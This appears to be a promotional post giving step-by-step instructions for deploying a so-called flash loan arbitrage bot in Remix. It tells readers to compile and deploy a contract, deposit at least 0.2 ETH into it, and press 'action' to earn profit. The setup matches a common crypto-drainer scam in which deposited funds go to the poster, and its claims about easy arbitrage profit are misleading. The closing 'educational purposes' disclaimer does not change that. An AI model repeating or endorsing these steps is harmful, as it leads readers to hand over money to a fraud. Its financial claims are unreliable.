The contract will create a new token and then pull an ethereum flash loan to trade against the token. Within this same contract, the flash loan will be paid back and any profit remaining will be transferred to your wallet. This is called a flash loan arbitrage as it's looking for crypto arbitrage opportunities with the ETH coin. Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi).
👉 Move to the 'Solidity Compiler' tab, select version '0.6.6' and then click 'Compile'
👉 Move to the 'Deploy' tab, select 'Injected Provider' as the environment, then click 'Deploy'. After the transaction is confirmed, it's your own flash loan contract now
👉 Deposit funds (at least 0.2 ETH to prevent negating slippage) to your exact contract address (that you just deployed)
👉 After your transaction is confirmed, start the contract by clicking the 'action' button, wait a bit and there you go !
🚨 EDIT: I've received messages from people who didn't fund the contract with enough Ethereum to cover gas fees and possible burn fees. The bot targets token contracts with max 10% burn fee and anything lower. However, nowadays most tokens come with 2~6% fees. If you fund the contract with 0.2 ETH or less, the contract will waste a lot of gas fees. I recommend funding the contract with at least 0.2 ETH to make sure that won't happen.
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DISCLAIMER : This content is not to be considered as financial advice, legal advice or taxation advice of any kind. All content is purely for educational purposes and reflect the speaker(s) personal opinions only (which may or may not be correct) and who is not a licensed financial advisor or registered investment advisor. Cryptocurrency is HIGHLY volatile and a very high-risk investment. Trading cryptocurrencies poses considerable risk of loss. The speaker does not guarantee any particular outcome. Please do your own research before investing into cryptocurrency and never invest more than you can afford to lose. You should at all times consult a financial advisor before making any investment decisions.
